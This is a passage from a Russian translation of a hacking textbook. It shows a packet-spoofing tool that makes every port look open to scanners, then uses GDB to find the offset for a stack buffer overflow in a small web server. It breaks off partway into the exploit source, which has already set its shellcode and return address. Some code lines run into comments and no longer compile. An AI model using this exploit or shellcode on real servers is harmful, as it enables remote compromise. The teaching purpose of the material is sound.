void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter(pcap_t *, struct in_addr *, u_short *);
struct data_pass {
int libnet_handle;
u_char *packet;
};
int main(int argc, char *argv[]) {
struct pcap_pkthdr cap_header;
const u_char *packet, *pkt_data;
pcap_t *pcap_handle;
char errbuf[PCAP_ERRBUF_SIZE]; // Размер совпадает с LIBNET_ERRBUF_SIZE
char *device;
u_long target_ip;
int network, i;
struct data_pass critical_libnet_data;
u_short existing_ports[MAX_EXISTING_PORTS];
if((argc < 2) || (argc > MAX_EXISTING_PORTS+2)) {
if(argc > 2)
printf(“Limited to tracking %d existing ports.\n”,
MAX_EXISTING_PORTS);
else printf(“Usage: %s [existing ports...]\n”, argv[0]);
exit(0);
}
target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);
if (target_ip == -1)
fatal(“Invalid target address”);
for(i=2; i < argc; i++)
existing_ports[i-2] = (u_short) atoi(argv[i]);

302
0x400Сетевое взаимодействие existing_ports[argc-2] = 0;
device = pcap_lookupdev(errbuf);
if(device == NULL)
fatal(errbuf);
pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);
if(pcap_handle == NULL)
fatal(errbuf);
critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);
if(critical_libnet_data.libnet_handle == -1)
libnet_error(LIBNET_ERR_FATAL, “can’t open network interface. -- this program must run as root.\n”);
libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H,
&(critical_libnet_data.packet));
if (critical_libnet_data.packet == NULL)
libnet_error(LIBNET_ERR_FATAL, “can’t initialize packet memory.\n”);
libnet_seed_prand();
set_packet_filter(pcap_handle, (struct in_addr *)&target_ip, existing_ports);
pcap_loop(pcap_handle, -1, caught_packet,
(u_char *)&critical_libnet_data);
pcap_close(pcap_handle);
}
/* Задает фильтр пакетов для поиска установленных соединений TCP с target_ip */
int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip, u_short *ports) {
struct bpf_program filter;
char *str_ptr, filter_string[90 + (25 * MAX_EXISTING_PORTS)];
int i=0;
sprintf(filter_string, “dst host %s and “, inet_ntoa(*target_ip));
// IP приемника strcat(filter_string, “tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack = 0”);
if(ports[0] != 0) { // Если найдется хотя бы один порт str_ptr = filter_string + strlen(filter_string);
if(ports[1] == 0) // Есть только один порт sprintf(str_ptr, “ and not dst port %hu”, ports[i]);
else { // Два и больше портов sprintf(str_ptr, “ and not (dst port %hu”, ports[i++]);
while(ports[i] != 0) {
str_ptr = filter_string + strlen(filter_string);

0x470 Сканирование портов
303
sprintf(str_ptr, “ or dst port %hu”, ports[i++]);
}
strcat(filter_string, “)”);
}
}
printf(“DEBUG: filter string is \’%s\’\n”, filter_string);
if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)
fatal(“pcap_compile failed”);
if(pcap_setfilter(pcap_hdl, &filter) == -1)
fatal(“pcap_setfilter failed”);
}
void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet) {
u_char *pkt_data;
struct libnet_ip_hdr *IPhdr;
struct libnet_tcp_hdr *TCPhdr;
struct data_pass *passed;
int bcount;
passed = (struct data_pass *) user_args; // Передать данные с помощью
// указателя на структуру
IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H);
TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);
libnet_build_ip(LIBNET_TCP_H, // Размер пакета без IP-заголовка
IPTOS_LOWDELAY, // Тип сервиса IP
libnet_get_prand(LIBNET_PRu16), // IP ID (случайный)
0, // Фрагментация libnet_get_prand(LIBNET_PR8), // TTL (случайный)
IPPROTO_TCP, // Транспортный протокол
*((u_long *)&(IPhdr->ip_dst)), // IP отправителя
// (прикидываемся получателем)
*((u_long *)&(IPhdr->ip_src)), // IP получателя
// (вернуть отправителю)
NULL, // Данные (нет)
0, // Размер данных passed->packet); // память заголовка пакета libnet_build_tcp(htons(TCPhdr->th_dport), // Порт TCP отправителя
// (прикидываемся получателем)
htons(TCPhdr->th_sport), // Порт TCP получателя
// (вернуть отправителю)
htonl(TCPhdr->th_ack), // Порядковый номер (взять прежний ack)
htonl((TCPhdr->th_seq) + 1), // Номер подтверждения (SYN seq + 1)
TH_SYN | TH_ACK, // Флаги (задан только RST)
libnet_get_prand(LIBNET_PRu16), // Размер окна (случайный)
0, // Срочность
NULL, // Данные (нет)
0, // Размер данных
(passed->packet) + LIBNET_IP_H);// Память заголовка пакета

304
0x400Сетевое взаимодействие if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, “can’t compute checksum\n”);
bcount = libnet_write_ip(passed->libnet_handle, passed->packet,
LIBNET_IP_H+LIBNET_TCP_H);
if (bcount < LIBNET_IP_H + LIBNET_TCP_H)
libnet_error(LIBNET_ERR_WARNING,
“Warning: Incomplete packet written.”);
printf(“bing!\n”);
}
В этом коде есть несколько замысловатых мест, но вы должны в нем ра- зобраться. После компиляции и запуска программа должна защитить
IP-адрес, переданный в качестве первого аргумента, исключая те пор- ты, которые переданы в качестве остальных аргументов.
reader@hacking:/booksrc $ gcc $(libnet-config --defines) -o shroud shroud.c
-lnet -lpcap reader@hacking:/booksrc $ sudo ./shroud 192.168.42.72 22 80
DEBUG: filter string is ‘dst host 192.168.42.72 and tcp[tcpflags] & tcp-syn
!= 0 and tcp[tcpflags] & tcp-ack = 0 and not (dst port 22 or dst port 80)’
Пока работает shroud, любые попытки сканирования показывают, что открыты все порты.
matrix@euclid: $ sudo nmap -sS 192.168.0.189
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on (192.168.0.189):
Port State Service
1/tcp open tcpmux
2/tcp open compressnet
3/tcp open compressnet
4/tcp open unknown
5/tcp open rje
6/tcp open unknown
7/tcp open echo
8/tcp open unknown
9/tcp open discard
10/tcp open unknown
11/tcp open systat
12/tcp open unknown
13/tcp open daytime
14/tcp open unknown
15/tcp open netstat
16/tcp open unknown
17/tcp open qotd
18/tcp open msp
19/tcp open chargen
20/tcp open ftp-data
21/tcp open ftp
22/tcp open ssh

0x480 Пойди и кого-нибудь взломай!
305
23/tcp open telnet
24/tcp open priv-mail
25/tcp open smtp
[ output trimmed ]
32780/tcp open sometimes-rpc23 32786/tcp open sometimes-rpc25 32787/tcp open sometimes-rpc27 43188/tcp open reachout
44442/tcp open coldfusion-auth
44443/tcp open coldfusion-auth
47557/tcp open dbbrowse
49400/tcp open compaqdiag
54320/tcp open bo2k
61439/tcp open netprowler-manager
61440/tcp open netprowler-manager2 61441/tcp open netprowler-sensor
65301/tcp open pcanywhere
Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds matrix@euclid: $
Единственная реально работающая служба – это ssh на порте 22, но она затерялась среди моря фальшивых подтверждений. Упорный взлом- щик может попробовать подключиться к каждому порту через telnet и посмотреть, какие баннеры будут возвращаться, но баннеры также можно имитировать.
0x480 Пойди и кого-нибудь взломай!
В сетевых программах приходится перемещать много участков памя- ти и часто выполнять приведение типов. Вы сами могли убедиться, на- сколько замысловатыми бывают эти приведения. Такой хаос создает благодатную почву для ошибок. А поскольку сетевые программы часто требуется выполнять с правами суперпользователя, эти мелкие ошиб- ки могут создать серьезные уязвимости. Одна такая уязвимость есть в коде этой главы. Заметили ли вы ее?
Фрагмент hacking-network.h
/* Эта функция принимает FD сокета и указатель на приемный буфер.
* Прием данных из сокета ведется до получения байтов конца строки (EOL).
* байты конца строки читаются из сокета, но конец строки в буфере
* ставится перед этими байтами.
* Возвращает размер прочитанной строки (без байтов EOL).
*/
int recv_line(int sockfd, unsigned char *dest_buffer) {
#define EOL “\r\n” // Байты, завершающие строку
#define EOL_SIZE 2

306
0x400Сетевое взаимодействие unsigned char *ptr;
int eol_matched = 0;
ptr = dest_buffer;
while(recv(sockfd, ptr, 1, 0) == 1) { // Прочитать один байт.
if(*ptr == EOL[eol_matched]) { // Входит ли он в EOL?
eol_matched++;
if(eol_matched == EOL_SIZE) { // Если все байты входят в EOL,
*(ptr+1-EOL_SIZE) = ‘\0’; // записать конец строки.
return strlen(dest_buffer); // Вернуть кол-во принятых байтов
}
} else {
eol_matched = 0;
}
ptr++; // Установить указатель на следующий байт.
}
return 0; // Признак конца строки не найден.
}
В функции recv_line() из файла hacking-network.h есть маленькое упу- щение: отсутствует код, ограничивающий длину. Если количество при- нятых байт превысит размер dest_buffer, возникнет переполнение буфе- ра. Программа сервера tinyweb.c и все другие, в которых используется эта функция, уязвимы.
0x481 Анализ с помощью GDB
Чтобы воспользоваться уязвимостью в программе tinyweb.c, нужно по- слать пакеты, которые особым образом перепишут адрес возврата. Сна- чала надо узнать смещение от начала буфера, которым мы управляем, до записанного в памяти адреса возврата. С помощью GDB можно проана- лизировать скомпилированную программу и узнать требуемое, однако при этом возникают некоторые проблемы. Например, программа требу- ет прав root, поэтому отладчик нужно запускать от имени root. Но если воспользоваться sudo или войти в систему как root, это повлияет на стек, и адреса, которые покажет отладчик, будут отличаться от адресов при обычном запуске программы. Есть и другие небольшие отличия, из-за которых может сместиться память в отладчике, что будет причиной не- совместимости. В отладчике эксплойт будет работать прекрасно, а без него окажется неработоспособным, потому что адреса изменятся.
Есть красивый способ решения таких проблем: подключиться в отлад- чике к уже запущенному процессу. Ниже показано подключение GDB к процессу tinyweb, запущенному в другом терминале. Исходный код заново скомпилирован с опцией -g, включающей отладочные символы, которые GDB может использовать с выполняющимся процессом.
reader@hacking:/booksrc $ ps aux | grep tinyweb root 13019 0.0 0.0 1504 344 pts/0 S+ 20:25 0:00 ./tinyweb

0x480 Пойди и кого-нибудь взломай!
307
reader 13104 0.0 0.0 2880 748 pts/2 R+ 20:27 0:00 grep tinyweb reader@hacking:/booksrc $ gcc -g tinyweb.c reader@hacking:/booksrc $ sudo gdb -q --pid=13019 --symbols=./a.out
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
Attaching to process 13019
/cow/home/reader/booksrc/tinyweb: No such file or directory.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) bt
#0 0xb7fe77f2 in ?? ()
#1 0xb7f691e1 in ?? ()
#2 0x08048ccf in main () at tinyweb.c:44
(gdb) list 44 39 if (listen(sockfd, 20) == -1)
40 fatal(“listening on socket”);
41 42 while(1) { // Accept loop
43 sin_size = sizeof(struct sockaddr_in);
44 new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr,
&sin_size);
45 if(new_sockfd == -1)
46 fatal(“accepting connection”);
47 48 handle_connection(new_sockfd, &client_addr);
(gdb) list handle_connection
53 /* Эта функция обрабатывает соединение на переданном сокете от
54 * переданного адреса клиента. Соединение обрабатывается как веб-
55 * запрос, и эта функция отвечает через сокет соединения. В конце
56 * работы функции этот сокет закрывается.
57 */
58 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {
59 unsigned char *ptr, request[500], resource[500];
60 int fd, length;
61 62 length = 1 recv_line(sockfd, request);
(gdb) break 62
Breakpoint 1 at 0x8048d02: file tinyweb.c, line 62.
(gdb) cont
Continuing.
После подключения к выполняющемуся процессу обратная трассиров- ка стека показывает, что программа находится в main() и ждет соеди- нения. После установки точки останова на первой строке вызова recv_
line()
в строке 62 1 программе разрешается работать дальше. Подтол- кнем выполнение программы, сделав запрос с помощью броузера или wget
, запущенного в другом терминале. Тогда программа остановится в точке останова в handle_connection().
Breakpoint 2, handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62

308
0x400Сетевое взаимодействие
62 length =(1) recv_line(sockfd, request);
(gdb) x/x request
0xbffff5c0: 0x00000000
(gdb) bt
#0 handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62
#1 0x08048cf6 in main () at tinyweb.c:48
(gdb) x/16xw request+500 0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848 0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0 0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048cf6 0x00000004 0xbffff7e4: 0xbffff810 0xbffff80c 0xbffff834 0x00000004
(gdb) x/x 0xbffff7d4+8 2 0xbffff7dc: 0x08048cf6
(gdb) p 0xbffff7dc – 0xbffff5c0
$1 = 540
(gdb) p /x 0xbffff5c0 + 200
$2 = 0xbffff688
(gdb) quit
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 13019
reader@hacking:/booksrc $
В точке останова буфер запроса начинается с 0xbfffff5c0. Обратная трассировка стека командой bt показывает, что адресом возврата из handle_connection()
служит 0x08048cf6. Зная, как обычно располагают- ся локальные переменные в стеке, можно предположить, что буфер запроса находится ближе к концу кадра. Это означает, что запомнен- ный адрес возврата лежит в стеке близко к концу этого 500-байтно- го буфера. Зная, где примерно его искать, мы находим адрес возврата в 0xbffff7dc 2. Вычисляем, что этот адрес отстоит на 540 байт от нача- ла буфера запроса. Однако в начале буфера есть несколько байтов, с ко- торыми функция может что-то делать. Нужно помнить, что мы не по- лучим контроля над программой, пока не произойдет возврат из функ- ции. По этой причине лучше не трогать начало буфера. Для надежно- сти пропустим первые 200 байт; оставшихся 500 вполне хватит для размещения шелл-кода. Таким образом, в качестве нового адреса воз- врата выберем 0xbffff688.
0x482 «Почти попал» здесь не проходит
В следующем эксплойте для программы tinyweb используются смеще- ние и адрес возврата, вычисленные с помощью GDB. Он заполняет бу- фер нулями, поэтому все, что туда будет записано, автоматически ста- новится C-строкой. Затем в первые 540 байт заносится команда NOP.
Так мы создадим NOP-цепочку и заполним буфер до перезаписываемо- го адреса возврата. После этого завершим строку комбинацией ‘\r\n’.

0x480 Пойди и кого-нибудь взломай!
309
tinyweb_exploit.c
#include
#include
#include
#include
#include
#include
#include
#include “hacking.h”
#include “hacking-network.h”
char shellcode[]=
“\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68”
“\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89”
“\xe1\xcd\x80”; // Standard shellcode
#define OFFSET 540
#define RETADDR 0xbffff688
int main(int argc, char *argv[]) {
int sockfd, buflen;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];
if(argc < 2) {
printf(“Usage: %s
1   ...   27   28   29   30   31   32   33   34   ...   51


написать администратору сайта